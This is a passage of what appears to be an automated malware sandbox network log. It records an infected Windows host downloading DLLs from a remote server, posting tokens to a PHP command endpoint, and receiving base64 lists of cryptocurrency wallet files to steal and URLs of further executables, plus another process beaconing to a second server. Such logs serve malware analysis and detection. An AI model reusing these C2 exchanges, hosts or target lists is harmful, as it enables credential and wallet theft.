Jul 26, 2024 13:49:23.245400906 CEST	1236	IN	Data Raw: f7 17 66 0f 6f 1d e0 20 08 10 66 0f fe fb f3 0f 5b ff 66 0f 70 e6 f5 66 0f f4 f7 66 0f 70 ef f5 66 0f f4 ec 66 0f 6f e0 66 0f fe 25 d0 20 08 10 66 0f 70 fe e8 66 0f 70 ed e8 66 0f 62 fd 66 0f 6e 6c 07 04 66 0f ef db 66 0f 60 eb 66 0f 61 eb 66 0f Data Ascii: fo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`
Jul 26, 2024 13:49:23.245724916 CEST	1236	IN	Data Raw: b6 d2 89 55 ec 89 4d c8 31 c9 8a 5d e8 8b 55 e0 89 7d e4 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 89 4d e8 8b 0c 0f 89 4d d4 89 ce 89 c1 d3 e6 09 d6 89 75 e0 8b 45 e8 8b 4d ec 01 c8 83 c0 01 0f b6 c0 8b 4d f0 0f b6 0c 01 00 cb 0f b6 f3 8b 55 f0 0f Data Ascii: UM1]U}f.MMuEMMU2}E0MEEMLEE0}M1MMEUU}47}4E0UMU
Jul 26, 2024 13:49:23.245737076 CEST	1236	IN	Data Raw: a8 0f ac d6 10 89 75 88 8b 55 ec 01 f2 89 55 ec 8b 75 e0 11 c6 89 75 e0 31 f1 89 f8 31 d0 89 ca 0f a4 c2 01 89 55 ac 0f a4 c8 01 89 85 48 ff ff ff 8b b5 74 ff ff ff 8b 46 30 89 85 30 ff ff ff 8b 8d dc fe ff ff 8b 51 18 89 95 b8 fe ff ff 01 c2 8b Data Ascii: uUUuu11UHtF00Qv4,AA8UA<}5[dy!~6_U:O31\tS8ES<]\E
Jul 26, 2024 13:49:23.246896029 CEST	1236	IN	Data Raw: 8b 7d b4 03 bd 60 ff ff ff 8b 5d c8 13 9d 44 ff ff ff 01 f7 89 7d b4 11 c3 89 5d c8 31 da 89 d3 8b 4d 9c 31 f9 89 ca 0f a4 da 10 89 55 a0 0f ac d9 10 89 4d 9c 8b 5d e8 01 cb 89 5d e8 8b 7d c0 11 d7 89 7d c0 31 f8 31 de 89 c1 0f a4 f1 01 89 4d 88 Data Ascii: }`]D}]1M1UM]]}}11MpELMEE}MU1u1EE]]M11M]4M]11hUMMMM11
Jul 26, 2024 13:49:24.222567081 CEST	90	OUT	GET /8405906461a5200c/mozglue.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 26, 2024 13:49:24.399446964 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:24 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jul 26, 2024 13:49:25.119842052 CEST	91	OUT	GET /8405906461a5200c/msvcp140.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 26, 2024 13:49:25.295147896 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jul 26, 2024 13:49:25.615128040 CEST	87	OUT	GET /8405906461a5200c/nss3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 26, 2024 13:49:25.792319059 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jul 26, 2024 13:49:27.439129114 CEST	91	OUT	GET /8405906461a5200c/softokn3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 26, 2024 13:49:27.614767075 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jul 26, 2024 13:49:27.848450899 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jul 26, 2024 13:49:27.918085098 CEST	95	OUT	GET /8405906461a5200c/vcruntime140.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 26, 2024 13:49:28.093254089 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jul 26, 2024 13:49:28.811881065 CEST	198	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDGHJEHJJDAAAKEBGCF Host: 85.28.47.31 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Jul 26, 2024 13:49:29.467762947 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 13:49:29.813452005 CEST	465	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGDHJJDGHCAAAKEHIJ Host: 85.28.47.31 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 35 33 34 37 38 32 30 31 65 30 31 39 32 66 66 32 61 62 65 63 62 65 66 37 39 39 32 61 33 64 30 33 30 34 65 62 35 35 30 66 39 32 33 36 36 65 65 64 33 33 65 65 63 34 31 30 65 66 66 65 34 34 31 34 32 63 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 2d 2d 0d 0a Data Ascii: ------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="message"wallets------EGDGDHJJDGHCAAAKEHIJ--
Jul 26, 2024 13:49:29.990777969 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:29 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jul 26, 2024 13:49:29.994322062 CEST	470	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHJEBGIEBFIJKEBFBFH Host: 85.28.47.31 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 35 33 34 37 38 32 30 31 65 30 31 39 32 66 66 32 61 62 65 63 62 65 66 37 39 39 32 61 33 64 30 33 30 34 65 62 35 35 30 66 39 32 33 36 36 65 65 64 33 33 65 65 63 34 31 30 65 66 66 65 34 34 31 34 32 63 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 2d 2d 0d 0a Data Ascii: ------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="message"ybncbhylepme------IDHJEBGIEBFIJKEBFBFH--
Jul 26, 2024 13:49:30.172055006 CEST	359	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:30 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 132 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 33 4e 76 61 32 45 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4d 6e 78 6f 64 48 52 77 4f 69 38 76 4d 54 67 31 4c 6a 49 78 4e 53 34 78 4d 54 4d 75 4d 54 59 76 62 57 6c 75 5a 53 39 6c 62 6e 52 6c 63 69 35 6c 65 47 56 38 4d 48 77 77 66 46 4e 30 59 58 4a 30 66 44 4a 38 Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L3Nva2EvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8MnxodHRwOi8vMTg1LjIxNS4xMTMuMTYvbWluZS9lbnRlci5leGV8MHwwfFN0YXJ0fDJ8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	59024	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:18.564510107 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:19.317095041 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:19.318016052 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:19.570862055 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	59035	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:19.789277077 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:20.551713943 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:20.597477913 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:20.908440113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	59036	34.107.221.82	80	4512	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
